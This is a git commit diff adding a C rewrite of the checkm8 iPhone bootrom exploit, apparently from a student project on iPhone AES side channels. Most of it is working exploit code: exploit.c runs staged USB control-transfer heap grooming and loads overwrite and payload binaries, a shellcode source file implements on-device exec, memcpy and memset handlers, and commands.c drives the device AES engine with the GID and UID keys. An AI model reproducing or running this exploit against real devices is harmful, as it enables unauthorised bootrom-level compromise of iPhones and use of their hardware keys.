Began restructuring project to include payload building

This commit is contained in:
2019-12-07 15:23:21 -05:00
parent 889ff825cd
commit 45caec0b07
14 changed files with 24 additions and 14 deletions

View File

@@ -0,0 +1,9 @@
set(CMAKE_C_STANDARD 99)
set(CMAKE_C_FLAGS -g)
add_executable(checkm8_remote main.c conf.h
libusb_helpers.c libusb_helpers.h exploit.c
checkm8.h commands.c)
target_link_libraries(checkm8_remote libusb_checkm8 pthread udev)

Binary file not shown.

Binary file not shown.

14
checkm8_remote/checkm8.h Normal file
View File

@@ -0,0 +1,14 @@
#ifndef IPWNDFU_REWRITE_C_CHECKM8_H
#define IPWNDFU_REWRITE_C_CHECKM8_H
int exploit_device();
#define AES_ENCRYPT 16
#define AES_DECRYPT 17
#define AES_GID_KEY 0x2000200
#define AES_UID_KEY 0x2000201
int aes(unsigned char *source, unsigned char *target, int encrypt, int key);
#endif //IPWNDFU_REWRITE_C_CHECKM8_H

75
checkm8_remote/commands.c Normal file
View File

@@ -0,0 +1,75 @@
#include <string.h>
#include <stdio.h>
#include "libusb_helpers.h"
#include "checkm8.h"
#define EXEC_MAGIC 0x6365786563657865
#define DONE_MAGIC 0x656e6f64656e6f64
#define MEMC_MAGIC 0x636d656d636d656d
#define MEMS_MAGIC 0x736d656d736d656d
int command(unsigned char *request_data, int request_len, unsigned char *response_buf, int response_len)
{
libusb_context *usb_ctx = NULL;
struct libusb_device_bundle bundle;
libusb_init(&usb_ctx);
get_test_device(usb_ctx, &bundle);
unsigned char nullbuf[16];
memset(nullbuf, '\0', 16);
libusb_control_transfer(bundle.handle, 0x21, 1, 0, 0, nullbuf, 16, 5000);
libusb_control_transfer(bundle.handle, 0x21, 1, 0, 0, nullbuf, 0, 100);
libusb_control_transfer(bundle.handle, 0xA1, 3, 0, 0, nullbuf, 6, 100);
libusb_control_transfer(bundle.handle, 0xA1, 3, 0, 0, nullbuf, 6, 100);
libusb_control_transfer(bundle.handle, 0x21, 1, 0, 0, request_data, request_len, 5000);
if(response_len == 0)
{
libusb_control_transfer(bundle.handle, 0xA1, 2, 0xFFFF, 0, response_buf, 1, 5000);
return 0;
}
else
{
libusb_control_transfer(bundle.handle, 0xA1, 2, 0xFFFF, 0, response_buf, request_len, 5000);
return 0;
}
}
int execute(unsigned long *args, int nargs, unsigned char *response_buf, int response_len)
{
unsigned char cmd_buf[8 * (nargs + 1)];
unsigned long exec = EXEC_MAGIC;
memcpy(cmd_buf, &exec, 8);
memcpy(&cmd_buf[8], args, 8 * nargs);
return command(cmd_buf, 8 * (nargs + 1), response_buf, response_len);
}
int aes(unsigned char *source, unsigned char *target, int encrypt, int key)
{
unsigned long args[10];
args[0] = 0x10000C8F4; // AES crypto command
args[1] = encrypt;
args[2] = 0x1800b0048; // cmd_data_address(7)
args[3] = 0x1800B0010; // cmd_data_address(0)
args[4] = 128; // length of the data
args[5] = key;
args[6] = 0;
args[7] = 0;
memcpy(&args[8], source, 16);
unsigned char response[32];
int ret = execute(args, 10, response, 32);
memcpy(target, &response[16], 16);
for(int i = 0; i < 16; i++)
{
printf("%02x", target[i]);
}
return ret;
}

6
checkm8_remote/conf.h Normal file
View File

@@ -0,0 +1,6 @@
#ifndef IPWNDFU_REWRITE_C_CONF_H
#define IPWNDFU_REWRITE_C_CONF_H
//#define LIBUSB_LOGGING
#endif //IPWNDFU_REWRITE_C_CONF_H

133
checkm8_remote/exploit.c Normal file
View File

@@ -0,0 +1,133 @@
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include "checkm8.h"
#include "libusb_helpers.h"
int complete_stage(int stage_function(struct libusb_device_bundle *bundle))
{
libusb_context *usb_ctx = NULL;
struct libusb_device_bundle usb_bundle;
int ret;
libusb_init(&usb_ctx);
ret = get_test_device(usb_ctx, &usb_bundle);
if(ret != 0)
{
printf("Error: could not find test device\n");
return ret;
}
libusb_open(usb_bundle.device, &usb_bundle.handle);
libusb_set_auto_detach_kernel_driver(usb_bundle.handle, 1);
ret = stage_function(&usb_bundle);
libusb_close(usb_bundle.handle);
libusb_exit(usb_ctx);
return ret;
}
int stage1_function(struct libusb_device_bundle *bundle)
{
printf("~~~ Exploit stage 1 ~~~\n");
unsigned int i;
stall(bundle->handle);
for(i = 0; i < 5; i++)
{
no_leak(bundle->handle);
}
usb_req_leak(bundle->handle);
no_leak(bundle->handle);
libusb_reset_device(bundle->handle);
return 0;
}
int stage2_function(struct libusb_device_bundle *bundle)
{
printf("~~~ Exploit stage 2 ~~~\n");
unsigned char databuf[0x800];
memset(databuf, 'A', 0x800);
libusb1_async_ctrl_transfer(bundle->handle, 0x21, 1, 0, 0, databuf, 0x800, 1);
libusb1_no_error_ctrl_transfer(bundle->handle, 0x21, 4, 0, 0, NULL, 0, 0);
libusb_reset_device(bundle->handle);
return 0;
}
int stage3_function(struct libusb_device_bundle *bundle)
{
printf("~~~ Exploit stage 3 ~~~\n");
unsigned char overwrite_buf[1524];
FILE *overwrite_file = fopen("/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/checkm8_remote/bin/overwrite.bin", "r");
fread(overwrite_buf, 1524, 1, overwrite_file);
fclose(overwrite_file);
unsigned char payload_buf[2400];
FILE *payload_file = fopen("/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/checkm8_remote/bin/payload.bin", "r");
fread(payload_buf, 2400, 1, payload_file);
fclose(payload_file);
usb_req_stall(bundle->handle);
usb_req_leak(bundle->handle);
libusb1_no_error_ctrl_transfer(bundle->handle, 0, 0, 0, 0, overwrite_buf, 1524, 100);
libusb1_no_error_ctrl_transfer(bundle->handle, 0x21, 1, 0, 0, payload_buf, 2048, 100);
libusb1_no_error_ctrl_transfer(bundle->handle, 0x21, 1, 0, 0, &payload_buf[2048], 352, 100);
libusb_reset_device(bundle->handle);
return 0;
}
int check_function(struct libusb_device_bundle *bundle)
{
unsigned char serial_buf[128];
unsigned int i;
struct libusb_device_handle *handle = bundle->handle;
struct libusb_device_descriptor desc = bundle->descriptor;
libusb_get_string_descriptor_ascii(handle, desc.iSerialNumber, serial_buf, sizeof(serial_buf));
printf("Found device with serial %s\n", serial_buf);
for(i = 0; i < 13; i++)
{
if(serial_buf[99 + i] != "PWND:[checkm8]"[i])
{
return 1;
}
}
return 0;
}
int exploit_device()
{
int ret = complete_stage(check_function);
if(ret == 0) return ret;
ret = complete_stage(stage1_function);
if(ret == 0)
{
ret = complete_stage(stage2_function);
usleep(500000);
}
if(ret == 0)
{
ret = complete_stage(stage3_function);
usleep(500000);
}
if(ret == 0)
{
ret = complete_stage(check_function);
}
return ret;
}

View File

@@ -0,0 +1,218 @@
#include "libusb_helpers.h"
#include "../libusb/src/libusb.h"
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int get_test_device(libusb_context *usb_ctx, struct libusb_device_bundle *bundle)
{
libusb_device **usb_device_list = NULL;
int usb_dev_count, ret = 1;
usb_dev_count = libusb_get_device_list(usb_ctx, &usb_device_list);
libusb_device *usb_device = NULL;
libusb_device_handle *usb_handle = NULL;
struct libusb_device_descriptor usb_desc = {0};
for(unsigned int i = 0; i < usb_dev_count; i++)
{
usb_device = usb_device_list[i];
libusb_get_device_descriptor(usb_device, &usb_desc);
if(usb_desc.idVendor == 0x05AC && usb_desc.idProduct == 0x1227)
{
ret = 0;
break;
}
}
libusb_free_device_list(usb_device_list, usb_dev_count);
if(ret == 0)
{
bundle->device = usb_device;
bundle->handle = usb_handle;
bundle->descriptor = usb_desc;
}
return ret;
}
void LIBUSB_CALL async_ctrl_transfer_cb(struct libusb_transfer *transfer)
{
printf("transfer status: %s (%i / %i)\n",
libusb_error_name(transfer->status),
transfer->actual_length,
transfer->length);
}
void libusb1_async_ctrl_transfer(libusb_device_handle *handle,
unsigned char bmRequestType, unsigned char bRequest,
unsigned short wValue, unsigned short wIndex,
unsigned char *data, unsigned short data_len,
unsigned int timeout)
{
struct timeval start, end;
unsigned char usb_transfer_buf[8 + data_len];
int ret;
gettimeofday(&start, NULL);
struct libusb_transfer *usb_transfer = libusb_alloc_transfer(0);
libusb_fill_control_setup(usb_transfer_buf, bmRequestType, bRequest, wValue, wIndex, data_len);
memcpy(&usb_transfer_buf[8], data, data_len);
libusb_fill_control_transfer(usb_transfer, handle, usb_transfer_buf, async_ctrl_transfer_cb, NULL, 1);
ret = libusb_submit_transfer(usb_transfer);
if(ret != 0)
{
printf("Failed to submit async USB transfer: %s\n", libusb_error_name(ret));
libusb_free_transfer(usb_transfer);
exit(ret);
}
while(1)
{
gettimeofday(&end, NULL);
if(end.tv_usec - start.tv_usec > timeout)
{
ret = libusb_cancel_transfer(usb_transfer);
if(ret != 0)
{
printf("Failed to cancel async USB transfer: %s\n", libusb_error_name(ret));
exit(ret);
}
return;
}
printf("%i / %i\n", usb_transfer->actual_length, usb_transfer->length);
}
}
void libusb1_no_error_ctrl_transfer(libusb_device_handle *handle,
unsigned char bmRequestType, unsigned char bRequest,
unsigned short wValue, unsigned short wIndex,
unsigned char *data, unsigned short data_len,
unsigned int timeout)
{
int ret;
unsigned char recipient = bmRequestType & 3u;
unsigned char rqtype = bmRequestType & (3u << 5u);
if(recipient == 1 && rqtype == (2u << 5u))
{
unsigned short interface = wIndex & 0xFFu;
ret = libusb_claim_interface(handle, interface);
if(ret > 0)
{
printf("%s\n", libusb_error_name(ret));
exit(1);
}
}
ret = libusb_control_transfer(handle, bmRequestType, bRequest, wValue, wIndex, data, data_len, timeout);
printf("%s\n", libusb_error_name(ret));
}
static unsigned char data_0xA_0xC0_buf[192] =
{
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA
};
static unsigned char data_0xA_0xC1_buf[193] =
{
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
0xA
};
static unsigned char data_0x0_0x40_buf[64] =
{
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
};
static unsigned char data_0x0_0x41_buf[65] =
{
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0
};
static unsigned char data_0x0_0xC0_buf[192] =
{
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
};
void stall(libusb_device_handle *handle)
{
libusb1_async_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A,
data_0xA_0xC0_buf, 0xC0, 1);
}
void leak(libusb_device_handle *handle)
{
libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A,
data_0x0_0xC0_buf, 0xC0, 1);
}
void no_leak(libusb_device_handle *handle)
{
libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A,
data_0xA_0xC1_buf, 0xC1, 1);
}
void usb_req_stall(libusb_device_handle *handle)
{
unsigned char data[0];
libusb1_no_error_ctrl_transfer(handle, 0x2, 3, 0, 0x80, data, 0, 1);
}
void usb_req_leak(libusb_device_handle *handle)
{
libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A,
data_0x0_0x40_buf, 0x40, 1);
}
void usb_req_no_leak(libusb_device_handle *handle)
{
libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A,
data_0x0_0x41_buf, 0x41, 1);
}

View File

@@ -0,0 +1,35 @@
#ifndef IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H
#define IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H
#include "libusb-1.0/libusb.h"
struct libusb_device_bundle
{
struct libusb_device *device;
struct libusb_device_handle *handle;
struct libusb_device_descriptor descriptor;
};
int get_test_device(libusb_context *usb_ctx, struct libusb_device_bundle *bundle);
void libusb1_async_ctrl_transfer(libusb_device_handle *handle,
unsigned char bmRequestType, unsigned char bRequest,
unsigned short wValue, unsigned short wIndex,
unsigned char *data, unsigned short data_len,
unsigned int timeout);
void libusb1_no_error_ctrl_transfer(libusb_device_handle *handle,
unsigned char bmRequestType, unsigned char bRequest,
unsigned short wValue, unsigned short wIndex,
unsigned char *data, unsigned short data_len,
unsigned int timeout);
void stall(libusb_device_handle *handle);
void leak(libusb_device_handle *handle);
void no_leak(libusb_device_handle *handle);
void usb_req_stall(libusb_device_handle *handle);
void usb_req_leak(libusb_device_handle *handle);
void usb_req_no_leak(libusb_device_handle *handle);
#endif //IPWNDFU_REWRITE_C_LIBUSB_HELPERS_H

13
checkm8_remote/main.c Normal file
View File

@@ -0,0 +1,13 @@
#include <stdio.h>
#include "exploit/checkm8.h"
int main()
{
int status = exploit_device();
if(status != 0)
{
printf("Failed to checkm8_remote device\n");
return status;
}
}

View File

@@ -0,0 +1,127 @@
#define EXEC_MAGIC 0x6578656365786563
#define DONE_MAGIC 0x646F6E65646F6E65
#define MEMC_MAGIC 0x6D656D636D656D63
#define MEMS_MAGIC 0x6D656D736D656D73
unsigned long *LOAD_ADDRESS = 0x1800B0000;
const unsigned long *USB_CORE_DO_IO = 0x10000DC98;
unsigned long *memset_shellcode(unsigned long *target, unsigned long data, unsigned long nbytes)
{
unsigned long value = (data & 0xFFu) * 0x101010101010101;
unsigned long *addr = target;
while(nbytes >= 8)
{
*addr = value;
addr++;
nbytes -= 8;
}
if(nbytes >= 4)
{
*(unsigned int *) addr = (unsigned int) value;
addr = (unsigned long *) (((unsigned int *) addr) + 1);
nbytes -= 4;
}
if(nbytes >= 2)
{
*(unsigned short *) addr = (unsigned short) value;
addr = (unsigned long *) (((unsigned short *) addr) + 1);
nbytes -= 2;
}
if(nbytes != 0)
{
*(unsigned char *) addr = (unsigned char) value;
}
return target;
}
unsigned long *memcpy_shellcode(unsigned long *target, unsigned long *source, unsigned long nbytes)
{
unsigned long *addr = target;
while(nbytes >= 8)
{
*addr = *source;
addr++;
source++;
nbytes -= 8;
}
if(nbytes >= 4)
{
*(unsigned int *) addr = *(unsigned int *) source;
addr = (unsigned long *) (((unsigned int *) addr) + 1);
source = (unsigned long *) (((unsigned int *) source) + 1);
nbytes -= 4;
}
if(nbytes >= 2)
{
*(unsigned short *) addr = *(unsigned short *) source;
addr = (unsigned long *) (((unsigned short *) addr) + 1);
source = (unsigned long *) (((unsigned short *) source) + 1);
nbytes -= 2;
}
if(nbytes != 0)
{
*(unsigned char *) addr = *(unsigned char *) source;
addr = (unsigned long *) (((unsigned char *) addr) + 1);
source = (unsigned long *) (((unsigned char *) source) + 1);
nbytes -= 2;
}
return target;
}
void shellcode(unsigned short length)
{
unsigned long *addr = LOAD_ADDRESS;
unsigned long res;
if(length + 2 == -1)
{
res = *LOAD_ADDRESS;
if(res == EXEC_MAGIC)
{
unsigned long
(*ptr)(unsigned long, unsigned long, unsigned long, unsigned long,
unsigned long, unsigned long, unsigned long, unsigned long) =
(unsigned long (*)(unsigned long, unsigned long, unsigned long, unsigned long,
unsigned long, unsigned long, unsigned long, unsigned long)) addr[1];
addr[0] = 0;
res = ptr(addr[2], addr[3], addr[4], addr[5], addr[6], addr[7], addr[8], addr[8]);
addr[0] = DONE_MAGIC;
addr[1] = res;
}
else
{
if(res == MEMC_MAGIC)
{
addr[0] = 0;
memcpy_shellcode(addr[2], addr[3], addr[4]);
addr[0] = DONE_MAGIC;
}
else if(res == MEMS_MAGIC)
{
addr[0] = 0;
memset_shellcode(addr[2], addr[3], addr[4]);
addr[0] = DONE_MAGIC;
}
}
}
void (*usb_core_do_io)(unsigned char, unsigned long *, unsigned short, unsigned short) =
(void (*)(unsigned char, unsigned long *, unsigned short, unsigned short)) USB_CORE_DO_IO;
usb_core_do_io(0x80, addr, length + 6, 0);
}